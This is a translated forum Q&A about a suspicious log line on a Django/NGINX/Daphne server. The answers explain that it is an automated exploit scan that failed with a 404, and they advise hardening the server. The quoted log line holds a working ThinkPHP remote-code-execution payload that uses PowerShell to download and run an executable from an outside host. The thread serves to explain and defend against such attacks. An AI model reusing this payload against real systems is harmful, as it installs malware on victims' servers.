关于日志中的 GET 请求

信息安全 攻击 ubuntu django
2021-08-28 18:40:24

我有一个在 Digital Ocean Ubuntu 服务器上运行的 Django 应用程序。我正在使用 NGINX 和 Daphne 为应用程序提供服务,因为我使用的是 Django Channels。

我的 websockets 不断崩溃,当崩溃发生时,我在日志中注意到此消息:

127.0.0.1:46138 - - [11/May/2021:14:03:33] "GET /public/index.php?s=index/think\ap p/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20 /c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hog noob.se/download.exe','%SystemRoot%/Temp/nagagewrehutkiz561.exe');start%20%SystemR oot%/Temp/nagagewrehutkiz561.exe" 404 2111

这对我来说看起来很可疑,但我对安全性的了解很少。谁能帮我确定这是否是我应该关注的事情?

事实上这是一个我没有提交的 GET 请求(目前没有其他人在使用这个服务器)但也许它是我的浏览器自动提交的东西?

3个回答

谁能帮我确定这是否是我应该关注的事情?

有人试图利用您服务器上的漏洞。对 的引用cmd.exeSystem.Net.WebClient%SystemRoot%表明此漏洞是针对 Windows 服务器的。

它显示您的服务器返回 HTTP 404,响应中有 2111 个字节(日志中的最后 2 个值)。这意味着您的服务器没有易受攻击的/public/index.php文件,因此在这种情况下没有造成任何损坏。

您的 websocket 可能正在死去,因为您没有正确处理意外输入,这是一个巨大的安全问题(粗体大写,因为我不能使用闪烁的红色文本字体)。未能检测到格式错误的输入并对此做出反应是无数漏洞的根源。

如果您对安全性知之甚少,则可以确定您的服务器迟早会被黑客入侵。使您的服务器脱机,在您的桌面上安装 Linux VM,然后首先在您的 VM 上进行训练。阅读有关 Linux 强化、保护 Nginx 和 Django 以及安全编码的文章。一旦有人入侵您的服务器并将其变成黑客平台以发动攻击,您的服务器就会对互联网上的任何人构成威胁。

目前没有其他人在使用此服务器

一旦您的服务器可以从 Internet 访问,该声明就不再正确。

如果这个 GET 请求来自您的浏览器,那么您可能会受到浏览器攻击,或者某些恶意 JavaScript 已附加到您的浏览器,这些 JavaScript 将尝试利用在这种情况下您的应用程序中发现的所有有价值的东西。通过查看请求,我假设它正在尝试利用某些漏洞并尝试打开命令提示符(cmd/powershell)并下载某种可执行文件,可能是恶意软件。如果这些请求不是来自您或您的浏览器,则可能有一个机器人正在使用一些傻瓜来查找各种网站上的易受攻击的参数并尝试自动利用它们。

宇宙中的某个地方有一个可以被这个 GET 请求利用的软件。

在宇宙的某个地方,有人想利用这个软件,所以他们将这个 GET 请求发送到尽可能多的不同 Web 服务器。他们不研究服务器是否安装了软件。他们只是尝试一下,看看它是否有效。

您的服务器上没有安装该软件。因此,预期的利用在您的服务器上不起作用。但是,您的服务器确实存在一个错误,导致它“使您的 websocket 崩溃”。你应该修复那个错误。